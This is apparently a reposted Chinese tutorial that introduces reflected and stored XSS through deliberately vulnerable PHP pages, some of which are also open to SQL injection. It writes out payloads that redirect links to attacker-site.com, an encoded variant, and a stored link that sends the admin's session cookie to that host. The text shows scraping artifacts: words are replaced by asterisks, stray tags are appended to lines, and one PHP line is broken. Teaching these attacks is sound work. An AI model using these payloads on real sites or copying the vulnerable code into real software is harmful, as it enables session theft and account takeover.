XSS***入門講解

xss表示Cross Site Scripting(跨站腳本***),它與SQL注入***相似,SQL注入***中以SQL語句做爲用戶輸入,從而達到查詢/修改/刪除數據的目的,而在xss***中,經過插入惡意腳本,實現對用戶遊覽器的控制。php


xss***能夠分紅兩種類型:html

  • 非持久型***web

  • 持久型***數據庫

下面咱們經過具體例子,瞭解兩種類型xss***。服務器


1.非持久型xss***cookie


顧名思義,非持久型xss***是一次性的,僅對當次的頁面訪問產生影響。非持久型xss***要求用戶訪問一個被***者篡改後的連接,用戶訪問該連接時,被植入的***腳本被用戶遊覽器執行,從而達到***目的。session


假設有如下index.php頁面:app


<?phpxss

$name = $_GET['name'];ide

echo "Welcome $name<br>";

echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";

?>

該頁面顯示兩行信息:


從URI獲取 'name' 參數,並在頁面顯示

顯示跳轉到一條URL的連接

這時,當***者給出如下URL連接:

index.php?name=guest<script>alert('attacked')</script>

當用戶點擊該連接時,將產生如下html代碼,帶'attacked'的告警提示框彈出:


Welcome guest

<script>alert('attacked')</script>

<br>

<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

 


除了插入alert代碼,***者還能夠經過如下URL實現修改連接的目的:


index.php?name=

<script>

window.onload = function() {

var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}

</script>


當用戶點擊以上***者提供的URL時,index.php頁面被植入腳本,頁面源碼以下:


<script>

window.onload = function() {

var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}

</script>

<br>

<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>


用戶再點擊 "Click to Download" 時,將跳轉至***者提供的連接。


對於用於***的URL,***者通常不會直接使用以上可讀形式,而是將其轉換成ASCII碼,如下URL一樣用於實現連接地址變動:


index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e 


2.持久型xss***


持久型xss***會把***者的數據存儲在服務器端,***行爲將伴隨着***數據一直存在。下面來看一個利用持久型xss***獲取session id的實例。


session背景知識


咱們知道HTTP是一個無狀態維持的協議,全部請求/應答都是獨立的,其間不保存狀態信息。但有些場景下咱們須要維護狀態信息,例如用戶登陸完web應用後,再必定時間內,用戶再進行登陸,應不須要再輸入用戶名/密碼進行鑑權。


這時咱們用cookie和session解決狀態維護問題,當用戶首次登入時,服務器爲該用戶建立一個 session ID,同時向遊覽器傳送一個 cookie,cookie保存會話鏈接中用到的數據,session ID做爲會話標識,遊覽器後續的請求均基於該session ID。


***者能夠提供一個***連接,當用戶點擊該連接時,向***者本身的服務器發送一條保存有用戶session ID的信息,這樣就能夠竊取到用戶的session ID,獲得用戶的執行權限。


現有如下login.php,其根據 user_name 在數據中查找相應的 pass_word,而後將用戶提供的 password 與查數據庫所得的 pass_word 進行比較,若是驗證成功則建立對應於 user_name 的 session。


<?php

$Host= '192.168.1.8';

$Dbname= 'app';

$User= 'yyy';

$Password= 'xxx';

$Schema = 'test';


$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";


/* Connect with database asking for a new connection*/

$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);


/* Error checking the connection string */

if (!$Connect) {

 echo "Database Connection Failure";

 exit;

}


$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";


$result=pg_query($Connect,$query);

$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);


$user_pass = md5($_POST['pass_word']);

$user_name = $row['user_name'];


if(strcmp($user_pass,$row['password'])!=0) {

 echo "Login failed";

}

else {

 # Start the session

 session_start();

 $_SESSION['USER_NAME'] = $user_name;

 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";

}

?>


另有如下home.php,其根據登入的用戶是 admin 仍是其餘用戶,顯示不一樣內容,對於admin,其列出全部用戶,對於其餘用戶,提供包含輸入框的form,可在數據庫中插入新的用戶名信息。


<?php

session_start();

if(!$_SESSION['USER_NAME']) {

 echo "Need to login";

}

else {

 $Host= '192.168.1.8';

 $Dbname= 'app';

 $User= 'yyy';

 $Password= 'xxx';

 $Schema = 'test';

 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

 if($_SERVER['REQUEST_METHOD'] == "POST") {

  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";

  pg_query($Connect,$query);

  echo "Update Success";

 }

 else {

  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {

   echo "Welcome admin<br><hr>";

   echo "List of user's are<br>";

   $query = "select display_name from $Schema.members where user_name!='admin'";

   $res = pg_query($Connect,$query);

   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {

    echo "$row[display_name]<br>";

   }

 }

 else {

  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";

  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";

  echo "<input type=\"submit\" value=\"Update\">";

 }

}

}

?>


注意以上場景中,對 admin 和其餘用戶進行了不一樣的權限設置,admin能夠看到全部用戶列表,下面咱們來看如何獲取 admin 的session ID,從而使得其餘用戶也能得到 admin 的權限。


首先,***者以一個普通用戶登陸進來,而後在輸入框中提交如下數據:


<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a>

 

***者提交了條帶<a>標籤的數據,該條數據將保存在數據庫中,而當 admin 用戶登入時,包含 "bangerlee" 的用戶列表將顯示,若是 admin 用戶點擊 "bangerlee" 時,在 "attacker-site.com" 所在的服務器上,***者就能夠竊取到 admin 的session-id:


xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

有了該session-id,***者在會話有效期內便可得到 admin 用戶的權限,而且因爲***數據已添加入數據庫,只要***數據未被刪除,那麼***還有可能生效,是持久性的。


 

固然,不是隻有持久型xss***才能竊取session ID、用戶的cookie信息,用非持久型xss也能夠,只要引導用戶點擊某連接,將 document.cookie 信息傳到指定服務器便可,以上僅做爲說明持久型xss***的舉例。

相關文章
相關標籤/搜索